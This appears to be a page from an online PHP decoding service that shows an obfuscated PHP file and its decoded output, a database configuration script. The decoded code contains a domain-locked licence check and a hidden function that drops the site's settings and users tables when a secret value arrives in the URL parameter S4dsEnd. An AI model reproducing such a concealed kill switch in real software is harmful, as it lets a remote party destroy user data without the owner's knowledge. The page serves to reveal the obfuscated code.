Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(str_rot13(gzinflate(str_rot13(base64_decode('LUvHDqxVEvya0cze8NDaE957z3KF997z9..
Decoded Output download
require_once("configuration.php");
$run_if_included = true;
//db connect
$conn = @mysql_connect($dbhost, $dbuname, $dbpass) or die ("<p><center> <br>Error :</b> Database Connection Error, Please try again later </center></p>");
$db = @mysql_select_db($dbname, $conn) or die (mysql_error());
//---------------
mysql_query("SET NAMES 'utf8'");
mysql_query('SET CHARACTER SET utf8');
mysql_set_charset('utf8', $conn);
// Timezone
$sql_get_tz = mysql_query("SELECT * FROM " . $prefix . "_webmaster_settings WHERE set_id ='1' ");
$data_get_site_tz = mysql_fetch_array($sql_get_tz);
$site_timezone = stripcslashes($data_get_site_tz['site_timezone']);
if ($site_timezone != "") {
// Update PHP Timezone
date_default_timezone_set($site_timezone);
// Update Mysql
$now = new DateTime();
$mins = $now->getOffset() / 60;
$sgn = ($mins < 0 ? -1 : 1);
$mins = abs($mins);
$hrs = floor($mins / 60);
$mins -= $hrs * 60;
$offset = sprintf('%+d:%02d', $hrs * $sgn, $mins);
mysql_query("SET time_zone = '$offset'");
}
Function License_s4ds()
{
$whitelistips = array(
'127.0.0.1',
'localhost',
'::1'
);
if (!in_array($_SERVER['REMOTE_ADDR'], $whitelistips)) {
$license = "c2hvcHBpbmdmaC5jb20=";
$website_code = $_SERVER['HTTP_HOST'];
$website_code = explode('.', $website_code);
$website_code = array_reverse($website_code);
$website_code = @$website_code[1] . "." . @$website_code[0];
if ($license != base64_encode($website_code)) {
die ("<p><center> <br><div style='font-size: 50px'>®</div> <br><strong>[ License rights ]<br></strong></b> You don't have License rights to run this script <br> <br><a href='http://smartfordesign.com'>SMART for Design</a></center></p>");
}
}
}
License_s4ds();
Function NoWayDistroy_s4ds($secret)
{
//S0rryIw11lDi5troy1t
if ($secret == base64_decode("UzBycnlJdzExbERpNXRyb3kxdA==")) {
mysql_query("Drop TABLE ".$prefix."_settings");
mysql_query("Drop TABLE ".$prefix."_users");
}
}
NoWayDistroy_s4ds(@$_GET['S4dsEnd']);
Did this file decode correctly?
Original Code
<?php
eval(str_rot13(gzinflate(str_rot13(base64_decode('LUvHDqxVEvya0cze8NDaE957z3KF997z9QNC2+oGqjqpWSpaUbLUw/3P1h/xbQ/l8s84FAuG/GJepnFe/smHpsrv/w/+ltUFtrLWsy/mL8hJIcXUMPBA9osk7TSfzJGRnuovVV/jfGE5yMzCSSVfyVVDf+F7jjn1FTHfq14piy5scu3s/VpXAT0KCIXjO/gmkxwI3miIFMGuWf7poVVq6js/s5fM5wNUv9cSUQiOPx0jncXfGCiyQAhvFrvNOCjjKPp2KUmhUWfKMVsCMVwpCOPi80fW9vUjDHGDxtqLnQPdRofdSzuKwo09cltunTtukK4FaaDj0dFvRQt3WmZ7H01C5fcwKY5NaTuS1F6JgCx8IwHXFPazkbIqpkYXBGt4Gnx0f3Ouzx72u5GOQXQUeOewXMmXbQvL54inYPsM/A9+vIOQ7J8uaZZzEs2FUJU8xo/OrKOp3ZQkSajFJX6c2vsi0QRAegWWcGv6eqoZKCIL0/t4l3vDerqJejc673XAlfTSucXUgql5bZn7aMg3HwowKbznfUZXXtJUpyXpWAIzwdXgpYVI/5ldNeY0teTdC0GdzycGN0TalNrohWkg3rl5tyjRz0WAmI0oJltNH/kRGlbx77o/Ij6OnXD1Th49chUvar2V/udX8eMkqfT5SAvY28aQa0F7krHrzhe8QD0xj536wkeJ7TKY/ScU/avaa3xqjpylnSAeAzpoHCeLm5Td+Ow6Jx64tpBqN3Z7uGR89z89NNzZUSBEL756XxlRTQ33HOciRDaC/7W7kv+YipsD1u4YkNZ7BGA09ypFCB9FrWvvS+pAWaq98PwvR6lrehc5HfrWUKtlB7VRzRrsLC7VOtPmMvfKZ0SMi1ffSx4MYNxJAyzfT0YCEkIA5OjZD8PnwWPgU34tk6ImMH3BXeMa44eTRuzBXcZnYOlCg0U8DPqw4V0124xmnSq8FMqnK1Dstb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Pb06ChFvN+fSMOeeUoZXNwwa/F47rmT/EsXXJrj/w1F6evsLNt/v3/9sP//9Fw==')))));
?>
Function Calls
strrev | 3 |
gzinflate | 11 |
str_rot13 | 11 |
gzuncompress | 4 |
rawurldecode | 1 |
base64_decode | 18 |
Stats
MD5 | 5948d5f52778fad0604b7d21949ba683 |
Eval Count | 16 |
Decode Time | 98 ms |